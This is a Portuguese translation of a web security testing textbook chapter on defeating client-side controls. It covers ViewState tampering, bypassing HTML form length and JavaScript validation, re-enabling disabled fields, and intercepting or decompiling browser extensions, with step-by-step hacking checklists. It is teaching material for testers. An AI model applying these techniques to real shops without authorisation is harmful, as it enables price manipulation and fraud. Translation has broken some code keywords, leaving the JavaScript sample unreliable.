DICA Quando você tenta decodificar o que parece ser uma cadeia de caracteres codificada em Base64, um erro comum é começar a decodificação na posição errada dentro da cadeia. Devido ao modo como a codificação Base64 funciona, se você começar na posição errada, a cadeia de caracteres decodificada conterá palavras sem sentido. O Base64 é um formato baseado em blocos no qual cada 4 bytes de dados codificados se traduzem em 3 bytes de dados decodificados. Portanto, se suas tentativas de decodificar uma cadeia de caracteres Base64 não revelarem nada significativo, tente começar a partir de quatro deslocamentos adjacentes na cadeia de caracteres codificada.

Por padrão, a plataforma ASP.NET protege o `ViewState` contra adulteração, adicionando um hash com chave a ele (conhecido como proteção MAC). No entanto, alguns aplicativos desativam essa proteção padrão, o que significa que você pode modificar o valor do `ViewState` para determinar se ele afeta o processamento do lado do servidor do aplicativo. O Burp Suite inclui um analisador de `ViewState` que indica se o `ViewState` está protegido por MAC, conforme mostrado na Figura 5-3. Se não estiver protegido, você poderá editar o conteúdo do `ViewState` no Burp usando o editor hexadecimal abaixo da árvore `ViewState`. Quando você envia a mensagem ao servidor ou ao cliente, a Burp envia o `ViewState` atualizado e, no exemplo atual, permite que você altere o preço do item que está sendo comprado.

Figura 5-3: O Burp Proxy pode decodificar e renderizar o `ViewState`, permitindo que você analise seu conteúdo e o edite se a opção `EnableViewStateMac` não estiver definida

EXPERIMENTE!

http://mdsec.net/shop/76/

ETAPAS DO HACK

1. Se estiver atacando um aplicativo ASP.NET, verifique se a proteção MAC está ativada para o **ViewState**. Isso é indicado pela presença de um hash de 20 bytes no final da estrutura **ViewState**, e você pode usar o analisador **ViewState** no Burp Suite para confirmar se ele está presente.
2. Mesmo que o **ViewState** esteja protegido, use o Burp para decodificar o **ViewState** em várias páginas do aplicativo para descobrir se o aplicativo está usando o **ViewState** para transmitir dados confidenciais por meio do cliente.
3. Tente modificar o valor de um parâmetro específico dentro do **ViewState** sem interferir em sua estrutura e veja se surge uma mensagem de erro.
4. Se você puder modificar o **ViewState** sem causar erros, deverá analisar a função de cada parâmetro dentro do **ViewState** e verificar se o aplicativo o utiliza para armazenar dados personalizados. Tente envie valores criados como cada parâmetro para sondar vulnerabilidades comuns, como faria com qualquer outro item de dados transmitido pelo cliente.
5. Observe que a proteção MAC pode ser ativada ou desativada por página, portanto, pode ser necessário testar cada página significativa do aplicativo quanto a vulnerabilidades de invasão **do ViewState**. Se você estiver usando o Burp Scanner com a varredura passiva ativada, o Burp relatará automaticamente todas as páginas que usam o **ViewState** sem a proteção MAC ativada.

Capturando dados do usuário: Formulários HTML

A outra maneira principal pela qual os aplicativos usam controles no lado do cliente para restringir os dados enviados pelos clientes ocorre com dados que não foram originalmente especificados pelo servidor, mas que foram coletados no próprio computador cliente.

Os formulários HTML são a maneira mais simples e mais comum de capturar a entrada do usuário e enviá-la ao servidor. Com os usos mais básicos desse método, os usuários digitam dados em campos de texto nomeados, que são enviados ao servidor como pares de nome/valor. No entanto, os formulários podem ser usados de outras maneiras; eles podem impor restrições ou realizar verificações de validação nos dados fornecidos pelo usuário. Quando um

se o aplicativo empregar esses controles no lado do cliente como um mecanismo de segurança para se defender contra entradas mal-intencionadas, os controles geralmente podem ser facilmente contornados, deixando o aplicativo potencialmente vulnerável a ataques.

Limites de comprimento

Considere a seguinte variação do formulário HTML original, que impõe um comprimento máximo de 1 no campo `de quantidade`:

```
<form method="post" action="Shop.aspx?prod=1">
Produto: iPhone 5 <br/>
Preço: 449 <br/>
Quantidade: <input type="text" name="quantity" maxlength="1"> <br/>
<input type="hidden" name="price" value="449">
<input type="submit" value="Buy">
</form>
```

Aqui, o navegador impede que o usuário insira mais de um caractere no campo de entrada, portanto, o aplicativo no lado do servidor pode presumir que o parâmetro `de quantidade` recebido será menor que 10. No entanto, essa restrição pode ser facilmente contornada interceptando a solicitação que contém o envio do formulário para inserir um valor arbitrário ou interceptando a resposta que contém o formulário para remover o atributo `maxlength`.

INTERCEPTAÇÃO DE RESPOSTAS

Ao tentar interceptar e modificar as respostas do servidor, você pode descobrir que a mensagem relevante exibida no seu proxy é semelhante a esta:

```
HTTP/1.1 304 Não modificado
Data: Wed, 6 Jul 2011 22:40:20 GMT
Etag: "6c7-5fcc0900"
Expires: Thu, 7 Jul 2011 00:40:20 GMT
Cache-Control: max-age=7200
```

Essa resposta ocorre porque o navegador já possui uma cópia em cache do recurso solicitado. Quando o navegador solicita um recurso em cache, ele normalmente adiciona dois cabeçalhos à solicitação - **`If-Modified-Since`** e **`If-None-Match`**:

```
GET /scripts/validate.js HTTP/1.1 Host:
wahh-app.com
If-Modified-Since: Sat, 7 Jul 2011 19:48:20 GMT
If-None-Match: "6c7-5fcc0900"
```

Esses cabeçalhos informam ao servidor quando o navegador atualizou sua cópia em cache pela última vez.

A cadeia de caracteres **`Etag`**, que o servidor forneceu com essa cópia do recurso, é um tipo de número de série que o servidor atribui a cada recurso armazenável em cache.

Ele é atualizado sempre que o recurso é modificado. Se o servidor possuir uma versão mais recente do recurso do que a data especificada no cabeçalho **`If-Modified-Since`**, ou se a **`Etag`** da versão atual corresponder à especificada no cabeçalho **`If-None-Match`**, o servidor responderá com a versão mais recente do recurso. Caso contrário, ele retorna uma resposta 304, como mostrado aqui, informando ao navegador que o recurso não foi modificado e que o navegador deve usar sua cópia em cache.

Quando isso ocorre e você precisa interceptar e modificar o recurso que o navegador armazenou em cache, é possível interceptar a solicitação relevante e remover os cabeçalhos **`If-Modified-Since`** e **`If-None-Match`**. Isso faz com que o servidor responda com a versão completa do recurso solicitado. O Burp Proxy contém uma opção para remover esses cabeçalhos de cada solicitação, substituindo assim todas as informações de cache enviadas pelo navegador.

ETAPAS DO HACK

1. Procure por elementos de formulário que contenham um atributo **`maxlength`**. Envie dados que sejam maiores que esse comprimento, mas que estejam formatados corretamente em outros aspectos (por exemplo, são numéricos se o aplicativo espera um número).
2. Se o aplicativo aceitar os dados muito longos, você poderá inferir que a validação do lado do cliente não é replicada no servidor.
3. Dependendo do processamento subsequente que o aplicativo executa no parâmetro, você poderá aproveitar os defeitos na validação para explorar outras vulnerabilidades, como injeção de SQL, script entre sites ou estouro de buffer.

Validação baseada em script

Os mecanismos de validação de entrada incorporados aos próprios formulários HTML são extremamente simples e não são suficientemente refinados para realizar a validação relevante de muitos tipos de entrada. Por exemplo, um formulário de registro de usuário pode conter campos para nome, endereço de e-mail, número de telefone e código postal, todos eles com diferentes tipos de entrada. Portanto, é comum ver a validação de entrada personalizada do lado do cliente implementada em scripts. Considere a seguinte variação do exemplo original:

```
<form method="post" action="Shop.aspx?prod=2" onsubmit="return validateForm(this)">
Produto: Samsung Multiverse <br/>
Preço: 399 <br/>
```

```
Quantidade: <input type="text" name="quantity"> (A quantidade máxima é 50)
<br/>
<input type="submit" value="Buy">
</form>

<script>função validateForm(theForm)
{
    var isInteger = /^\d+$/;
    var valid = isInteger.test(quantity) &&
        quantity > 0 && quantity <= 50;
    Se (!valid)
        alert('Please enter a valid quantity');
    return valid;
}
</script>
```

EXPERIMENTE!

http://mdsec.net/shop/139/

O atributo `onsubmit` da tag de `formulário` instrui o navegador a executar a função `ValidateForm` quando o usuário clicar no botão Submit e a enviar o formulário somente se essa função retornar true. Esse mecanismo permite que a lógica do lado do cliente intercepte uma tentativa de envio de formulário, execute verificações de validação personalizadas na entrada do usuário e decida se aceita essa entrada. No exemplo anterior, a validação é simples; ela verifica se os dados inseridos no campo de `valor` são um número inteiro e estão entre 1 e 50.

Controles do lado do cliente desse tipo geralmente são fáceis de contornar. Normalmente, basta desativar o JavaScript no navegador. Se isso for feito, o atributo `onsubmit` será ignorado e o formulário será enviado sem nenhuma validação personalizada.

No entanto, a desativação do JavaScript pode interromper o aplicativo se ele depender de scripts no lado do cliente para sua operação normal (como a construção de partes da interface do usuário). Uma abordagem mais simples é inserir um valor benigno (conhecido como bom) no campo de entrada do navegador, interceptar o envio validado com seu proxy e modificar os dados para o valor desejado. Essa costuma ser a maneira mais fácil e elegante de anular a validação baseada em JavaScript.

Como alternativa, você pode interceptar a resposta do servidor que contém a rotina de validação JavaScript e modificar o script para neutralizar seu efeito - no exemplo anterior, alterando a função `ValidateForm` para retornar true em todos os casos.

ETAPAS DO HACK

1. Identifique os casos em que o JavaScript do lado do cliente é usado para executar a validação de entrada antes do envio do formulário.
2. Enviar dados ao servidor que a validação normalmente teria bloqueado, seja modificando a solicitação de envio para injetar dados inválidos ou modificando o código de validação do formulário para neutralizá-los.
3. Assim como acontece com as restrições de comprimento, determine se os controles do lado do cliente são replicados no servidor e, caso contrário, se isso pode ser explorado para qualquer finalidade maliciosa.
4. Observe que, se vários campos de entrada estiverem sujeitos à validação do lado do cliente antes do envio do formulário, será necessário testar cada campo individualmente com dados inválidos, deixando valores válidos em todos os outros campos. Se você enviar dados inválidos em vários campos simultaneamente, o servidor poderá parar de processar o formulário quando identificar o primeiro campo inválido. Portanto, seu teste não alcançará todos os caminhos de código possíveis dentro do aplicativo.

OBSERVAÇÃO As rotinas JavaScript do lado do cliente para validar a entrada do usuário são comuns em aplicativos da Web, mas não conclua que todos esses aplicativos são vulneráveis. O aplicativo é exposto somente se a validação do lado do cliente não for replicada no servidor e, mesmo assim, somente se a entrada criada que contorna a validação do lado do cliente puder ser usada para causar algum comportamento indesejável no aplicativo.

Na maioria dos casos, a validação do lado do cliente da entrada do usuário tem efeitos benéficos sobre o desempenho do aplicativo e a qualidade da experiência do usuário. Por exemplo, ao preencher um formulário de registro detalhado, um usuário comum pode cometer vários erros, como omitir campos obrigatórios ou formatar incorretamente seu número de telefone. Na ausência de validação no lado do cliente, a correção desses erros pode implicar várias recargas da página e mensagens de ida e volta para o servidor. A implementação de verificações básicas de validação no lado do cliente torna a experiência do usuário muito mais tranquila e reduz a carga no servidor.

Elementos desativados

Se um elemento em um formulário HTML for marcado como desativado, ele aparecerá na tela, mas geralmente estará acinzentado e não poderá ser editado ou usado da mesma forma que um controle comum. Além disso, ele não é enviado ao servidor quando o formulário é enviado. Por exemplo, considere o seguinte formulário:

```
<form method="post" action="Shop.aspx?prod=5">
Produto: Blackberry Rude <br/>
Preço: <input type="text" disabled="true" name="price" value="299">
```

```
<br/>
Quantidade: <input type="text" name="quantity"> (A quantidade máxima é 50)
<br/>
<input type="submit" value="Buy">
</form>
```

Isso inclui o preço do produto como um campo de texto desativado e aparece na tela, conforme mostrado na Figura 5-4.

Figura 5-4: Um formulário que contém um campo de entrada desativado

Quando esse formulário é enviado, somente o parâmetro `de quantidade` é enviado ao servidor. No entanto, a presença de um campo desativado sugere que um parâmetro `de preço` pode ter sido usado originalmente pelo aplicativo, talvez para fins de teste durante o desenvolvimento. Esse parâmetro teria sido enviado ao servidor e pode ter sido processado pelo aplicativo. Nessa situação, você deve definitivamente testar se o aplicativo no lado do servidor ainda processa esse parâmetro. Se isso acontecer, procure explorar esse fato.

EXPERIMENTE!

`http://mdsec.net/shop/104/`

ETAPAS DO HACK

1. Procure por elementos desativados em cada formulário do aplicativo. Sempre que encontrar um, tente enviá-lo ao servidor junto com os outros parâmetros do formulário para determinar se ele tem algum efeito.
2. Muitas vezes, os elementos de envio são sinalizados como desativados, de modo que os botões aparecem acinzentados em contextos em que a ação relevante não está disponível. Você deve sempre tentar enviar os nomes desses elementos para determinar se o aplicativo executa uma verificação no lado do servidor antes de tentar executar a ação solicitada.

3. Observe que os navegadores não incluem elementos de formulário desativados quando os formulários são enviados. Portanto, você não os identificará se simplesmente percorrer a funcionalidade do aplicativo, monitorando as solicitações emitidas pelo navegador. Para identificar os elementos desativados, é necessário monitorar as respostas do servidor ou visualizar o código-fonte da página no navegador.
4. Você pode usar o recurso de modificação de HTML no Burp Proxy para reativar automaticamente todos os campos desativados usados no aplicativo.

Capturando dados do usuário: Extensões de navegador

Além dos formulários HTML, o outro método principal para capturar, validar e enviar dados do usuário é usar um componente do lado do cliente que é executado em uma extensão do navegador, como Java ou Flash. Quando foram empregadas pela primeira vez em aplicativos da Web, as extensões de navegador eram geralmente usadas para executar tarefas simples e muitas vezes cosméticas. Atualmente, as empresas estão usando cada vez mais extensões de navegador para criar componentes totalmente funcionais no lado do cliente. Eles são executados no navegador, em várias plataformas de clientes, e fornecem feedback, flexibilidade e manuseio de um aplicativo de desktop. Um efeito colateral é que as tarefas de processamento que antes seriam realizadas no servidor podem ser transferidas para o cliente por motivos de velocidade e experiência do usuário. Em alguns casos, como nos aplicativos de comércio on-line, a velocidade é tão importante que grande parte da lógica principal do aplicativo ocorre no lado do cliente. O design do aplicativo pode sacrificar deliberadamente a segurança em favor da velocidade, talvez acreditando erroneamente que os comerciantes são usuários confiáveis ou que a extensão do navegador inclui suas próprias defesas. Relembrando o problema central de segurança discutido no Capítulo 2 e nas seções anteriores deste capítulo, sabemos que o conceito de um componente do lado do cliente defendendo sua lógica comercial é impossível.

As extensões de navegador podem capturar dados de várias maneiras, por meio de formulários de entrada e, em alguns casos, interagindo com o sistema de arquivos ou o registro do sistema operacional do cliente. Elas podem executar validação e manipulação arbitrariamente complexas dos dados capturados antes de enviá-los ao servidor. Além disso, como seu funcionamento interno é menos transparente do que os formulários HTML e o JavaScript, é mais provável que os desenvolvedores presumam que a validação que eles realizam não pode ser contornada. Por esse motivo, as extensões de navegador costumam ser um alvo frutífero para a descoberta de vulnerabilidades em aplicativos da Web.

Um exemplo clássico de uma extensão de navegador que aplica controles no lado do cliente é um componente de cassino. Considerando o que observamos sobre a natureza falível dos controles do lado do cliente, a ideia de implementar um aplicativo de jogos de azar on-line usando uma extensão de navegador que é executada localmente no computador de um possível invasor

é intrigante. Se qualquer aspecto do jogo for controlado pelo cliente em vez de pelo servidor, um invasor poderá manipular o jogo com precisão para melhorar as chances, mudar as regras ou alterar as pontuações enviadas ao servidor. Vários tipos de ataques podem ocorrer nesse cenário:

- O componente cliente pode ser confiável para manter o estado do jogo. Nesse caso, a adulteração local do estado do jogo daria a um invasor uma vantagem no jogo.
- Um invasor pode contornar um controle do lado do cliente e executar uma ação ilegal projetada para obter uma vantagem no jogo.
- Um invasor pode encontrar uma função, um parâmetro ou um recurso oculto que, quando invocado, permite o acesso ilegítimo a um recurso no lado do servidor.
- Se o jogo envolver pares ou um jogador da casa, o componente do cliente poderá estar recebendo e processando informações sobre outros jogadores que, se conhecidas, poderão ser usadas em benefício do atacante.

Tecnologias comuns de extensão de navegador

As tecnologias de extensão de navegador que você provavelmente encontrará são os applets Java, Flash e Silverlight. Como essas tecnologias estão competindo para atingir objetivos semelhantes, elas têm propriedades semelhantes em sua arquitetura que são relevantes para a segurança:

- Eles são compilados em um bytecode intermediário.
- Eles são executados em uma máquina virtual que fornece um ambiente de sandbox para a execução.
- Eles podem usar estruturas remotas que empregam serialização para transmitir estruturas de dados ou objetos complexos por HTTP.

Java

Os applets Java são executados na Java Virtual Machine (JVM) e estão sujeitos ao sand boxing aplicado pela Java Security Policy. Como o Java existe desde o início da história da Web e seus conceitos principais permaneceram relativamente inalterados, há um grande conjunto de conhecimentos e ferramentas disponíveis para atacar e defender os applets Java, conforme descrito mais adiante neste capítulo.

Flash

Os objetos do Flash são executados na máquina virtual do Flash e, assim como os applets Java, são protegidos por caixas de areia do computador host. Antes usado principalmente como um método de fornecimento de conteúdo animado, o Flash evoluiu. Com as versões mais recentes do ActionScript,

O Flash agora é considerado capaz de fornecer aplicativos de desktop completos. Uma das principais mudanças recentes no Flash é o ActionScript 3 e seu recurso de comunicação remota com a serialização do Action Message Format (AMF).

Silverlight

O Silverlight é a alternativa da Microsoft ao Flash. Ele foi projetado com o objetivo semelhante de possibilitar aplicativos avançados, semelhantes a desktops, permitindo que os aplicativos da Web forneçam uma experiência .NET reduzida no navegador, em um ambiente sandbox. Tecnicamente, os aplicativos Silverlight podem ser desenvolvidos em qualquer linguagem compatível com .NET, de C# a Python, embora C# seja, de longe, a mais comum.

Abordagens para extensões de navegador

Você precisa empregar duas técnicas amplas ao direcionar aplicativos que usam componentes de extensão do navegador.

Primeiro, você pode interceptar e modificar as solicitações feitas pelo componente e as respostas recebidas do servidor. Em muitos casos, essa é a maneira mais rápida e fácil de começar a testar o componente, mas você pode encontrar várias limitações. Os dados que estão sendo transmitidos podem ser ofuscados ou criptografados, ou podem ser serializados usando esquemas específicos da tecnologia que está sendo usada. Ao observar apenas o tráfego gerado pelo componente, você pode ignorar alguma funcionalidade importante ou lógica comercial que só pode ser descoberta por meio da análise do próprio componente. Além disso, você pode encontrar obstáculos para usar o proxy de interceptação da maneira normal; no entanto, normalmente eles podem ser contornados com alguma configuração cuidadosa, conforme descrito mais adiante neste capítulo.

Em segundo lugar, você pode direcionar o próprio componente diretamente e tentar descompilar seu bytecode para visualizar a fonte original ou interagir dinamicamente com o componente usando um depurador. Essa abordagem tem a vantagem de, se for feita de forma minuciosa, identificar toda a funcionalidade que o componente suporta ou faz referência. Ela também permite que você modifique os principais dados enviados em solicitações ao servidor, independentemente de qualquer mecanismo de ofuscação ou criptografia usado para dados em trânsito. Uma desvantagem dessa abordagem é que ela pode consumir muito tempo e exigir um conhecimento detalhado das tecnologias e linguagens de programação usadas no componente.

Em muitos casos, uma combinação dessas duas técnicas é apropriada. As seções a seguir analisam cada uma delas em mais detalhes.

Interceptação do tráfego de extensões de navegador

Se o seu navegador já estiver configurado para usar um proxy de interceptação e o aplicativo carregar um componente cliente usando uma extensão de navegador, você poderá ver solicitações desse componente passando pelo proxy. Em alguns casos, você

não precisa fazer mais nada para começar a testar a funcionalidade relevante, porque você pode interceptar e modificar as solicitações do componente da maneira usual.

No contexto de ignorar a validação de entrada no lado do cliente implementada em uma extensão do navegador, se o componente enviar os dados validados para o servidor de forma transparente, esses dados poderão ser modificados usando um proxy de interceptação da mesma forma já descrita para os dados do formulário HTML. Por exemplo, uma extensão de navegador que ofereça suporte a um mecanismo de autenticação pode capturar as credenciais do usuário, executar alguma validação sobre elas e enviar os valores ao servidor como parâmetros de texto simples dentro da solicitação. A validação pode ser contornada facilmente sem a realização de qualquer análise ou ataque ao próprio componente.

Em outros casos, você pode encontrar vários obstáculos que dificultam o teste, conforme descrito nas seções a seguir.

Manipulação de dados serializados

Os aplicativos podem serializar dados ou objetos antes de transmiti-los em solicitações HTTP. Embora possa ser possível decifrar alguns dos dados baseados em cadeia de caracteres simplesmente inspecionando os dados serializados brutos, em geral é necessário descompactar os dados serializados antes que eles possam ser totalmente compreendidos. E se você quiser modificar os dados para interferir no processamento do aplicativo, primeiro precisará descompactar o conteúdo serializado, editá-lo conforme necessário e resserializá-lo corretamente. A simples edição dos dados serializados brutos quase certamente quebrará o formato e causará um erro de análise quando o aplicativo processar a mensagem.

Cada tecnologia de extensão de navegador vem com seu próprio esquema para serializar dados em mensagens HTTP. Em geral, portanto, é possível inferir o formato de serialização com base no tipo de componente do cliente que está sendo empregado, mas o formato geralmente é evidente em qualquer caso, a partir de uma inspeção cuidadosa das mensagens HTTP relevantes.

Serialização Java

A linguagem Java contém suporte nativo para serialização de objetos, e os miniaplicativos Java podem usá-lo para enviar estruturas de dados serializadas entre os componentes de aplicativos do cliente e do servidor. As mensagens que contêm objetos Java serializados geralmente podem ser identificadas porque têm o seguinte cabeçalho `Content-Type`:

```
Content-Type: application/x-java-serialized-object
```

Depois de interceptar os dados serializados brutos usando seu proxy, você pode desserializá-los usando o próprio Java para obter acesso aos itens de dados primitivos que eles contêm.

O DSer é um plug-in útil do Burp Suite que fornece uma estrutura para visualizar e manipular objetos Java serializados que foram interceptados no Burp. Essa ferramenta converte os dados primitivos do objeto interceptado em formato XML para facilitar a edição. Quando você modifica os dados relevantes, o DSer re-serializa o objeto e atualiza a solicitação HTTP de acordo.

Você pode fazer o download do DSer e saber mais sobre como ele funciona no seguinte URL:

```
http://blog.andlabs.org/2010/09/re-visiting-java-de-serialization-it.html
```

Serialização de flash

O Flash usa seu próprio formato de serialização que pode ser usado para transmitir estruturas de dados complexas entre os componentes do servidor e do cliente. O Action Message Format (AMF) normalmente pode ser identificado por meio do seguinte cabeçalho `Content-Type`:

```
Content-Type: application/x-amf
```

O Burp suporta nativamente o formato AMF. Quando identifica uma solicitação ou resposta HTTP contendo dados AMF serializados, ele descompacta o conteúdo e o apresenta em forma de árvore para visualização e edição, conforme mostrado na Figura 5-5. Quando você tiver modificado os itens de dados primitivos relevantes dentro da estrutura, o Burp re-serializa a mensagem e você pode encaminhá-la para o servidor ou cliente para ser processada.

Figura 5-5: O Burp Suite suporta o formato AMF e permite que você visualize e edite os dados desserializados

Serialização do Silverlight

Os aplicativos Silverlight podem usar a estrutura de comunicação remota do Windows Communication Foundation (WCF) que está integrada à plataforma .NET. Os componentes do cliente Silverlight que usam o WCF normalmente empregam o formato .NET Binary Format for SOAP (NBFS) da Microsoft, que pode ser identificado pelo seguinte cabeçalho `Content-Type`:

```
Content-Type: application/soap+msbin1
```

Um plug-in está disponível para o Burp Proxy que desserializa automaticamente os dados codificados em NBFS antes de serem exibidos na janela de interceptação do Burp. Depois que você visualiza ou edita os dados decodificados, o plug-in recodifica os dados antes que eles sejam encaminhados para o servidor ou cliente para serem processados.

O plug-in SOAP binário do WCF para o Burp foi produzido por Brian Holyfield e está disponível para download aqui:

```
www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/
```

Obstáculos à interceptação do tráfego de extensões de navegador

Se você tiver configurado o navegador para usar um proxy de interceptação, poderá descobrir que as solicitações feitas pelos componentes de extensão do navegador não estão sendo interceptadas pelo proxy ou estão falhando. Esse problema geralmente se deve a problemas com a manipulação de proxies HTTP ou SSL (ou ambos) pelo componente. Normalmente, ele pode ser resolvido por meio de uma configuração cuidadosa de suas ferramentas.

O primeiro problema é que o componente cliente pode não respeitar a configuração de proxy que você especificou no navegador ou nas configurações do computador. Isso ocorre porque os componentes podem emitir suas próprias solicitações HTTP, fora das APIs fornecidas pelo próprio navegador ou pela estrutura de extensão. Se isso estiver acontecendo, você ainda poderá interceptar as solicitações do componente. É necessário modificar o arquivo de hosts do computador para conseguir a interceptação e configurar o proxy para suportar o proxy invisível e o redirecionamento automático para o host de destino correto. Consulte o Capítulo 20 para obter mais detalhes sobre como fazer isso.

O segundo problema é que o componente do cliente pode não aceitar o certificado SSL que está sendo apresentado pelo seu proxy de interceptação. Se o seu proxy estiver usando um certificado autoassinado genérico e você tiver configurado o navegador para aceitá-lo, o componente de extensão do navegador poderá rejeitar o certificado. Isso pode ocorrer porque a extensão do navegador não capta a configuração do navegador para certificados temporariamente confiáveis ou porque o próprio componente exige programaticamente que certificados não confiáveis não sejam aceitos. Em ambos os casos, você pode contornar esse problema configurando o proxy para usar um certificado CA mestre, que é usado para assinar certificados válidos por host para cada site que você visita, e instalando o certificado CA no repositório de certificados confiáveis do seu computador. Consulte o Capítulo 20 para obter mais detalhes sobre como fazer isso.

Em alguns casos raros, você pode descobrir que os componentes do cliente

estão se comunicando usando um protocolo diferente do HTTP, que simplesmente não pode ser tratado usando um

interceptando proxy. Nessas situações, você ainda poderá visualizar e modificar o tráfego afetado usando um sniffer de rede ou uma ferramenta de captura de funções. Um exemplo é o Echo Mirage, que pode ser injetado em um processo e interceptar chamadas para APIs de soquete, permitindo que você visualize e modifique os dados antes que eles sejam enviados pela rede. O Echo Mirage pode ser baixado do seguinte URL:

```
www.bindshell.net/tools/echomirage
```

ETAPAS DO HACK

1. Verifique se o seu proxy está interceptando corretamente todo o tráfego da extensão do navegador. Se necessário, use um sniffer para identificar qualquer tráfego que não esteja sendo proxyado corretamente.
2. Se o componente do cliente usar um esquema de serialização padrão, certifique-se de que você tenha as ferramentas necessárias para descompactá-lo e modificá-lo. Se o componente estiver usando um mecanismo de codificação ou criptografia proprietário, será necessário descompilar ou depurar o componente para testá-lo completamente.
3. Analise as respostas do servidor que acionam a lógica principal do lado do cliente. Muitas vezes, a interceptação e a modificação oportunas de uma resposta do servidor podem permitir que você "desbloqueie" a GUI do cliente, facilitando a revelação e a execução de ações privilegiadas complexas ou em vários estágios.
4. Se o aplicativo executar qualquer lógica ou evento crítico cuja execução não seja confiável para o componente cliente (como tirar uma carta ou rolar os dados em um aplicativo de jogos de azar), procure qualquer correlação entre a execução da lógica crítica e a comunicação com o servidor. Se o cliente não se comunicar com o servidor para determinar o resultado do evento, o aplicativo está definitivamente vulnerável.

Descompilação de extensões de navegador

De longe, o método mais completo de atacar um componente de extensão de navegador é descompilar o objeto, realizar uma análise completa do código-fonte e, se necessário, modificar o código para alterar o comportamento do objeto e recompilá-lo. Como já discutido, as extensões de navegador são compiladas em bytecode. O bytecode é uma representação binária de alto nível independente de plataforma que pode ser executada pelo interpretador relevante (como a Java Virtual Machine ou o Flash Player), e cada tecnologia de extensão de navegador usa seu próprio formato de bytecode. Como resultado, o aplicativo pode ser executado em qualquer plataforma em que o próprio interpretador possa ser executado.

A natureza de alto nível da representação do bytecode significa que, teoricamente, é sempre possível descompilar o bytecode em algo parecido com o código-fonte original. No entanto, várias técnicas defensivas podem ser implementadas para fazer com que o descompilador falhe ou para gerar um código descompilado que seja muito difícil de acompanhar e interpretar.

Sujeito a essas defesas de ofuscação, a descompilação do bytecode normalmente é o caminho preferível para entender e atacar os componentes de extensão do navegador. Isso permite que você analise a lógica comercial, avalie a funcionalidade completa do aplicativo do lado do cliente e modifique seu comportamento de maneiras específicas.

Download do bytecode

A primeira etapa é fazer o download do bytecode executável para que você possa começar a trabalhar nele. Em geral, o bytecode é carregado em um único arquivo a partir de um URL especificado no código-fonte HTML para páginas de aplicativos que executam a extensão do navegador. Os applets Java geralmente são carregados usando a tag `<applet>` e outros componentes geralmente são carregados usando a tag `<object>`. Por exemplo:

```
<applet code="CheckQuantity.class" codebase="/scripts"
id="CheckQuantityApplet">
</applet>
```

Em alguns casos, o URL que carrega o bytecode pode ser menos óbvio de imediato, pois o componente pode ser carregado por meio de vários scripts de wrapper fornecidos pelas diferentes estruturas de extensão do navegador. Outra maneira de identificar o URL do bytecode é procurar no histórico do proxy depois que o navegador tiver carregado a extensão do navegador. Se você adotar essa abordagem, precisará estar ciente de dois possíveis obstáculos:

- Algumas ferramentas de proxy aplicam filtros ao histórico do proxy para ocultar da visualização itens como imagens e arquivos de folha de estilo nos quais você geralmente não tem tanto interesse. Se não for possível encontrar uma solicitação para o bytecode da extensão do navegador, você deverá modificar o filtro de exibição do histórico do proxy para que todos os itens fiquem visíveis.
- Os navegadores geralmente armazenam em cache o bytecode baixado para componentes de extensão de forma mais agressiva do que para outros recursos estáticos, como imagens. Se o navegador já tiver carregado o bytecode de um componente, mesmo uma atualização completa de uma página que usa o componente pode não fazer com que o navegador solicite o componente novamente. Nesse caso, talvez seja necessário limpar totalmente o cache do navegador, fechar todas as instâncias do navegador e, em seguida, iniciar uma nova sessão do navegador para forçar o navegador a solicitar o bytecode novamente.

Quando você tiver identificado o URL do bytecode da extensão do navegador, geralmente basta colar esse URL na barra de endereços do navegador. Em seguida, o navegador solicita que você salve o arquivo bytecode no sistema de arquivos local.

DICA Se você tiver identificado a solicitação do bytecode no histórico do Burp Proxy e a resposta do servidor contiver o bytecode completo (e não uma

referência a uma cópia anterior armazenada em cache), você poderá salvar o bytecode diretamente no arquivo

de dentro do Burp. A maneira mais confiável de fazer isso é selecionar a guia Headers (Cabeçalhos) no visualizador de respostas, clicar com o botão direito do mouse no painel inferior que contém o corpo da resposta e selecionar Copy to File (Copiar para arquivo) no menu de contexto.

Descompilação do bytecode

O bytecode geralmente é distribuído em um pacote de arquivo único, que pode precisar ser descompactado para obter os arquivos de bytecode individuais para descompilação no código-fonte.

Os applets Java normalmente são empacotados como arquivos `.jar` (Java archive) e os objetos Silverlight são empacotados como arquivos `.xap`. Esses dois tipos de arquivo usam o formato de arquivo zip, portanto, você pode descompactá-los facilmente renomeando os arquivos com a extensão `.zip` e usando qualquer leitor de zip para descompactá-los nos arquivos individuais que eles contêm. O bytecode Java está contido em arquivos `.class` e o bytecode Silverlight está contido em arquivos `.dll`. Depois de descompactar o pacote de arquivos relevante, você precisa descompilar esses arquivos para obter o código-fonte.

Os objetos Flash são empacotados como arquivos `.swf` e não precisam ser descompactados antes de você usar um descompilador.

Para realizar a descompilação real do bytecode, é necessário usar algumas ferramentas específicas, dependendo do tipo de tecnologia de extensão de navegador que está sendo usada, conforme descrito nas seções a seguir.

Ferramentas Java

O bytecode Java pode ser descompilado para o código-fonte Java usando uma ferramenta chamada Jad (o descompilador Java), que está disponível no site:

`www.varaneckas.com/jad`

Ferramentas Flash

O bytecode do Flash pode ser decompilado em código-fonte do ActionScript. Uma abordagem alternativa, que geralmente é mais eficaz, é desmontar o bytecode em um formato legível por humanos, sem realmente decompilá-lo totalmente em código-fonte.

Para descompilar e desmontar o Flash, você pode usar as seguintes ferramentas:

- Flasm - `www.nowrap.de/flasm`
- Flare - `www.nowrap.de/flare`
- SWFScan - `www.hp.com/go/swfscan` (funciona para Actionscript 2 e 3)

Ferramentas do Silverlight

O bytecode do Silverlight pode ser descompilado em código-fonte usando uma ferramenta chamada
.NET Reflector, que está disponível em:

`www.red-gate.com/products/dotnet-development/reflector/`

Trabalhando no código-fonte

Depois de obter o código-fonte do componente, ou algo semelhante, você pode adotar várias abordagens para atacá-lo. A primeira etapa geralmente é revisar o código-fonte para entender como o componente funciona e qual funcionalidade ele contém ou faz referência. Aqui estão alguns itens a serem procurados:

- Validação de entrada ou outra lógica e eventos relevantes para a segurança que ocorrem no lado do cliente
- Rotinas de ofuscação ou criptografia sendo usadas para envolver os dados fornecidos pelo usuário antes de serem enviados ao servidor.
- Funcionalidade "oculta" do lado do cliente que não é visível na interface do usuário, mas que pode ser desbloqueada com a modificação do componente
- Referências à funcionalidade do lado do servidor que você não identificou anteriormente por meio do mapeamento do aplicativo

